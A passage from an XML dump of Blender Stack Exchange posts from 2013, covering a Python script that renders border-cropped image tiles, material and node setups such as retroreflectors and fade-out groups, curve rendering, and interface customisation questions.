bpy.ops.render.render(write_still=True) # I added the write_still=True so the render is writted to the file spcified in scene.render.filepath&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Explanation:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Here is an explanation of what each line does:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;import bpy&lt;/code&gt; This &lt;a href=&quot;http://docs.python.org/3.4/reference/import.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;imports&lt;/a&gt; the &lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Advanced_Tutorials/Python_Scripting/Introduction#The_bpy_Module&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy&lt;/code&gt;&lt;/a&gt; &lt;a href=&quot;http://docs.python.org/3.3/tutorial/modules.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;module&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;var = 0&lt;/code&gt; This assigns &quot;var&quot; to a value, &lt;code&gt;0&lt;/code&gt;. See the &lt;a href=&quot;http://en.wikibooks.org/wiki/Python_Programming/Variables_and_Strings#Variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; for more about variables.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;for scene in bpy.data.scenes:&lt;/code&gt; This is a &lt;a href=&quot;http://docs.python.org/3.3/reference/compound_stmts.html#for&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;for statement&lt;/code&gt;&lt;/a&gt; that will repeat the code indented after this line for each &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Scene.html?highlight=scenes&quot; rel=&quot;nofollow noreferrer&quot;&gt;scene&lt;/a&gt; in &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.BlendData.html?highlight=scenes#bpy.types.BlendData.scenes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.data.scenes&lt;/code&gt;&lt;/a&gt;. (this will also assign &lt;code&gt;scene&lt;/code&gt; as a kind of variable containing the location of the current scene being iterated through.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;scene.render.use_border = True&lt;/code&gt; This sets blender's variable &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.RenderSettings.html?highlight=use_border#bpy.types.RenderSettings.use_border&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;use_border&lt;/code&gt;&lt;/a&gt; to &lt;code&gt;True&lt;/code&gt;. This is the same as ticking the check box in the GUI (&lt;em&gt;Render settings &gt; Dimensions&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U14vZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate this, you can run &lt;code&gt;bpy.context.scene.render.use_border = True&lt;/code&gt; in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Console&quot; rel=&quot;nofollow noreferrer&quot;&gt;Python console&lt;/a&gt; and the &lt;em&gt;Border&lt;/em&gt; check box will become enabled in the GUI.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;scene.render.use_crop_to_border = True&lt;/code&gt; This enables &lt;em&gt;Crop to border&lt;/em&gt; (&lt;code&gt;[use_crop_to_border][13]&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;while var &amp;lt; 3:&lt;/code&gt; Test if &lt;code&gt;var&lt;/code&gt; is equal to a value less than &lt;code&gt;3&lt;/code&gt;. If true, then execute the indented code following this line and test if &lt;code&gt;var &amp;lt; 3&lt;/code&gt; again. If false, skip to the next unindented code.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;var = var + 1&lt;/code&gt; Assign &lt;code&gt;var&lt;/code&gt; to the result of &lt;code&gt;var + 1&lt;/code&gt; (increment by one)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;scene.render.border_max_x = mx&lt;/code&gt; Set blender's variable &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.RenderSettings.html?highlight=border_max_x#bpy.types.RenderSettings.border_max_x&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;border_max_x&lt;/code&gt;&lt;/a&gt; to the current value of the variable &lt;code&gt;mx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.context.scene.render.filepath = &quot;/tmp/test_render_&quot; + str(var) + &quot;.png&quot;&lt;/code&gt; Use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.context.html?highlight=bpy.context#bpy.context&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.context&lt;/code&gt;&lt;/a&gt; to get the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.context.html?highlight=bpy.context#bpy.context.scene&quot; rel=&quot;nofollow noreferrer&quot;&gt;active scene&lt;/a&gt; and set the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Scene.html#bpy.types.Scene.render&quot; rel=&quot;nofollow noreferrer&quot;&gt;scene render property&lt;/a&gt; &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.RenderSettings.html#bpy.types.RenderSettings.filepath&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;filepath&lt;/code&gt;&lt;/a&gt; to a string. to use the variable &lt;code&gt;var&lt;/code&gt; (type &lt;code&gt;INT&lt;/code&gt;) in the string, it needs to be converted to a string type with &lt;code&gt;str(var)&lt;/code&gt;. See the &lt;a href=&quot;http://en.wikibooks.org/wiki/Python_Programming/Variables_and_Strings#Combining_Numbers_and_Strings&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; for more info about strings and variables.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.render.html?#bpy.ops.render.render&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.ops.render.render&lt;/code&gt;&lt;/a&gt;&lt;code&gt;(write_still=True)&lt;/code&gt; This renders the image and writes it to the path specified in &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.RenderSettings.html#bpy.types.RenderSettings.filepath&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;filepath&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Result:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The above code outputs the following images in &lt;code&gt;/tmp/&lt;/code&gt; when run in the &lt;em&gt;Text editor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;test_render_1.png&lt;/code&gt; is created with the border settings set to these values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene.render.border_max_x = .2&#xA;scene.render.border_min_x = 0&#xA;scene.render.border_min_y = 0&#xA;scene.render.border_max_y = .2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f1iMM.png&quot; alt=&quot;test_render_1.png&quot; title=&quot;test_render_1.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;test_render_2.png&lt;/code&gt; is created with the border settings set to these values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene.render.border_max_x = .4&#xA;scene.render.border_min_x = 0&#xA;scene.render.border_min_y = 0&#xA;scene.render.border_max_y = .4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OTPqi.png&quot; alt=&quot;test_render_2.png&quot; title=&quot;test_render_2.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;test_render_3.png&lt;/code&gt; is created with the border settings set to these values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene.render.border_max_x = .6&#xA;scene.render.border_min_x = 0&#xA;scene.render.border_min_y = 0&#xA;scene.render.border_max_y = .6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ViwmF.png&quot; alt=&quot;test_render_3.png&quot; title=&quot;test_render_3.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The total number of images is limited to &lt;code&gt;3&lt;/code&gt; because the third time the loop code is executed, the variable &lt;code&gt;var&lt;/code&gt; is incremented to &lt;code&gt;3&lt;/code&gt; which is not less than &lt;code&gt;3&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a code that moves to the next &quot;tile&quot; over:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;var = 0 &#xA;mx = 0 &#xA;sx = -.2&#xA;sy = 0&#xA;my = .2&#xA;for scene in bpy.data.scenes: &#xA;    scene.render.use_border = True &#xA;    scene.render.use_crop_to_border = True&#xA;&#xA;while var &amp;lt; 3:&#xA;    var = var + 1&#xA;    mx = mx + .2&#xA;    sx = sx + .2&#xA;    print (mx)&#xA;    print (sx)&#xA;    scene.render.border_max_x = mx&#xA;    scene.render.border_min_x = sx&#xA;    scene.render.border_min_y = sy&#xA;    scene.render.border_max_y = my&#xA;&#xA;    bpy.context.scene.render.filepath = &quot;/tmp/test_render_&quot; + str(var) + &quot;.png&quot;&#xA;    bpy.ops.render.render(write_still=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-05T03:52:40.580" LastActivityDate="2013-11-05T03:52:40.580" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3572" PostTypeId="2" ParentId="3563" CreationDate="2013-10-29T19:54:19.247" Score="3" Body="&lt;p&gt;seems like this has been solved on the thread&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?315980-Archimesh-Architecture-elements-%28rooms-doors-columns-stairs-tile-roofs%29/page2&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?315980-Archimesh-Architecture-elements-%28rooms-doors-columns-stairs-tile-roofs%29/page2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when you go to the github link &lt;a href=&quot;https://github.com/Antonioya/blender/tree/master/archimesh&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Antonioya/blender/tree/master/archimesh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XEiyA.png&quot; alt=&quot;Raw button on Github&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you need to click on the zip file then select raw and it will download correctly.&lt;/p&gt;&#xA;" OwnerUserId="675" LastActivityDate="2013-10-29T19:54:19.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3573" PostTypeId="1" AcceptedAnswerId="3575" CreationDate="2013-10-29T20:10:45.110" Score="3" ViewCount="874" Body="&lt;p&gt;Prompted by my &lt;a href=&quot;https://blender.stackexchange.com/q/3540/599&quot;&gt;previous question&lt;/a&gt;, Is it possible to see the output of a node group like this one: (created from &lt;a href=&quot;https://www.youtube.com/watch?v=7tcHETob9eQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial on blender cookie&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Y2BHN.png&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;click for higher res&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y2BHN.png&quot; alt=&quot;node setup image&quot; title=&quot;click for higher res&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fuQMc.png&quot; alt=&quot;Nod group output&quot; title=&quot;node group output with glass node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as a easy to visualize (and quick to render) black and white map like this?:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UTLAm.png&quot; alt=&quot;enter link description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply connecting the output of the group to an emission shader does not let rays through the object, so the output is white:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q09YZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-11-21T22:58:26.373" Title="Is it possible to visualize ray length info as a black and white map?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3574" PostTypeId="2" ParentId="3573" CreationDate="2013-10-29T20:10:45.110" Score="1" Body="&lt;p&gt;One way is to connect it to a &lt;em&gt;Transparent&lt;/em&gt; shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DvZDv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This renders a little bit faster than a Glass shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can also help to go into &lt;em&gt;local view&lt;/em&gt; (&lt;kbd&gt;Numpad /&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this does not give a black and white result.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If anyone can find a faster method or a way to get a black and white result, please post it :)&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-10-29T20:10:45.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3575" PostTypeId="2" ParentId="3573" CreationDate="2013-10-29T20:38:13.993" Score="6" Body="&lt;p&gt;Connecting the emission shader directly, as you suggested won't work indeed, but how about mix of transparent and emission depending on Geometry-&gt;Backfacing? Should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Works for me:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/i3Jrt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1491" LastEditorUserId="1491" LastEditDate="2013-10-30T17:55:57.877" LastActivityDate="2013-10-30T17:55:57.877" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3576" PostTypeId="1" AcceptedAnswerId="3577" CreationDate="2013-10-30T01:05:01.177" Score="6" ViewCount="1215" Body="&lt;p&gt;I'm messing around with python for the first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm making my own changes to the interface, just because..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I move the text inside the buttons down and to the left?&#xA;The left image is what I have now and the right one it's what I want to do..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please have in mind that I have zero python knowledge. But I'm willing to learn..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8SeH1.png&quot; alt=&quot;Left it&amp;#39;s what I got, right it&amp;#39;s what I want to accomplish..&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1064" LastEditorUserId="12" LastEditDate="2013-10-30T02:34:45.457" LastActivityDate="2013-10-30T03:36:47.127" Title="How can I change the buttons text position?" Tags="&lt;python&gt;&lt;interface&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3577" PostTypeId="2" ParentId="3576" CreationDate="2013-10-30T01:15:26.820" Score="4" Body="&lt;p&gt;&lt;strong&gt;You can't&lt;/strong&gt;, Blender's layout engine text alignment (in the internal C code), but Python has no access to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is intentional, Python layout definitions are not supposed to care about details like alignment and color, this is controlled by the layout engine and current theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the layout looks bad this may be a hint we need to improve the layout engine's behavior - its unlikely these details will be exposed to Python, unless theres a very good reason.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-10-30T03:36:47.127" LastActivityDate="2013-10-30T03:36:47.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3578" PostTypeId="1" CreationDate="2013-10-30T04:07:15.557" Score="8" ViewCount="1912" Body="&lt;p&gt;As the title says how can I achieve a retroreflector (like you would see on bikes and street signs) material in Blender Internal? I haven't been able to figure it out, is something impossible to do in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to pull off something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hrdxF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h4tBm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1106" LastActivityDate="2013-10-31T09:20:07.197" Title="How to achieve a retroreflector material in Blender Internal" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3580" PostTypeId="1" CreationDate="2013-10-30T06:49:30.160" Score="6" ViewCount="4272" Body="&lt;p&gt;I am able to render a curve by bevelling it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for a scientific visualisation that I am working on, this doesn't render the way I wish it to. I would like the curve to render as a fixed width line irrespective of the distance from the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I have to adjust the bevelling amount based on camera distance, and also play with rendering samples to get a smooth looking line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a cleaner approach that I am missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently using the &quot;cycles&quot; renderer, but I am open to suggestions for any other renderer. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clarification: This is an animated visualisation. Hence, the distance from camera varies continuously. Here's an &lt;a href=&quot;http://www.youtube.com/watch?v=VPUGN3MJI4I&quot; rel=&quot;noreferrer&quot;&gt;example video&lt;/a&gt; of what I am trying to do. The comet orbit is the curve I am worried about.&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="81" LastEditDate="2013-10-30T14:37:43.987" LastActivityDate="2013-10-31T09:17:43.357" Title="How to render a curve without creating meshes?" Tags="&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3582" PostTypeId="2" ParentId="3578" CreationDate="2013-10-30T09:58:06.497" Score="2" Body="&lt;p&gt;It is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Retroreflectors reflect the light back in the direction it came from without regard of their surface normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In principle you can do it like this with a node material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rtq3o.png&quot; alt=&quot;Node Material Setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The material only uses Specular light and the surface normals are overwritten wih the View Vector of the active camera. This ensures that a specular reflection is only seen when the light comes from the direction of the View Vector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Multiply node is optional. It can be used in combination with the compositor to simulate the glow you can see in the photos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used these Specular properties:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CNyWB.png&quot; alt=&quot;Specular Properties&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the test results from this material setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same direction of light and camera: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/jnNst.png&quot; alt=&quot;Scene 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XmtKk.jpg&quot; alt=&quot;Render 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Light has a bit different direction:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s9zgm.png&quot; alt=&quot;Scene 2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ga8JQ.jpg&quot; alt=&quot;Render 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Light outside reflective angle:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3qrTM.png&quot; alt=&quot;Scene 3&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uFaGW.jpg&quot; alt=&quot;Render 3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course real retroreflective materials have some ambient reflections too. For brevity I left them out. It is easy to add some ambient components in the node material.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-10-31T09:20:07.197" LastActivityDate="2013-10-31T09:20:07.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3584" PostTypeId="2" ParentId="3580" CreationDate="2013-10-30T13:40:02.157" Score="2" Body="&lt;p&gt;As the distance from camera to an object increases the apparent size of the object will decrease, in perspective things farther away always appear smaller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to prevent that is to use an orthographic camera or keep all lines the same distance from the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for increasing samples to get a clean result - that is the nature of cycles. It depends largely on the material and world settings. If you are using simple colours then the blender internal will be just as easy to setup without having to adjust sample amounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also adjust the resolution of both the bevel and curve to get smoother surface results instead of converting to mesh if the surface of the curve is not smooth enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EEwGH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-10-30T13:40:02.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3586" PostTypeId="2" ParentId="3580" CreationDate="2013-10-30T14:17:15.340" Score="6" Body="&lt;p&gt;You could use OpenGL render (the button in the 3D View header) in Wireframe view mode. Every curve is rendered as a line without the need for any beveling. Animations can also be OpenGL rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is very fast. But there is no possibility to set the line width. It's always 1px.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To support transparency you have to set the shading mode to &lt;em&gt;GLSL&lt;/em&gt; (press &lt;kbd&gt;N&lt;/kbd&gt; in 3D View and look for &lt;em&gt;Shading&lt;/em&gt;).&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-10-31T09:17:43.357" LastActivityDate="2013-10-31T09:17:43.357" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3587" PostTypeId="1" AcceptedAnswerId="3591" CreationDate="2013-10-30T15:07:25.070" Score="2" ViewCount="1416" Body="&lt;p&gt;Is it possible to control the shading via a node in the compositor? I would like to generate two output images, one which has material shading and one without any shading - just the colors from the texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I only found how to control this option with the UI (of course) and with Python, but with these methods I have to render the image twice, which is somehow an overhead.&lt;/p&gt;&#xA;" OwnerUserId="1455" LastActivityDate="2013-10-31T21:54:11.783" Title="Compositing output image shading" Tags="&lt;compositor&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3588" PostTypeId="2" ParentId="3560" CreationDate="2013-10-30T15:37:13.630" Score="3" Body="&lt;p&gt;This technique isn't exactly what you asked for but it could simulate. In particle settings, &quot;die on hit&quot; is active and there is a hidden grid type object keyframed moving through the scene as a collision object.&#xA;&lt;a href=&quot;http://youtu.be/-LkoZbOchfo&quot; rel=&quot;nofollow&quot;&gt;http://youtu.be/-LkoZbOchfo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1456" LastEditorUserId="1456" LastEditDate="2013-10-30T23:22:57.900" LastActivityDate="2013-10-30T23:22:57.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3589" PostTypeId="1" AcceptedAnswerId="9293" CreationDate="2013-10-30T15:46:19.087" Score="7" ViewCount="3965" Body="&lt;p&gt;I am trying to make a schematic video about assembling a machine. For a lot of objects (bolts, etc...) I use the same delta location action, so they get assembled in their position. This allows me to use the NLA editor, to make almost all the animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when I try to fade in &amp;amp; fade out objects. Loc, rot &amp;amp; scale works well, because all objects share these properties. But transparency depends on the material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to have all materials end with a mix node connected to a transparent shader. So with the 'Fac' slider I can animate the fade. But the result action can't be shared between different objects, as they have different materials. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there any visibility property of object I can animate? This would be great for motion graphics too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-05-11T13:54:28.450" Title="Fade in action applicable to all objects (in cycles)" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3590" PostTypeId="2" ParentId="3589" CreationDate="2013-10-30T19:28:55.213" Score="3" Body="&lt;p&gt;You could use a node group to do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a mix shader and create a new node group by selecting it and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a transparent shader to the node group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MbY7f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add this node group at the end of all the materials you want to simultaneously fade in/out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5640E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This process can be made a little bit faster with copy and paste:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the node group and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select each object/material and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; to paste the node group.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjusting the &lt;em&gt;Factor&lt;/em&gt; of the mix node inside the node group will set it for all instances of the node group&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With the factor set at &lt;code&gt;.5&lt;/code&gt; and &lt;code&gt;.8&lt;/code&gt; (click for larger image):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8iCbC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8iCbCm.png&quot; alt=&quot;enter image description here&quot; title=&quot;mix factor of .5&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/4jeLb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4jeLbm.png&quot; alt=&quot;enter image description here&quot; title=&quot;mix factor of .8&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-30T22:37:08.823" LastActivityDate="2013-10-30T22:37:08.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
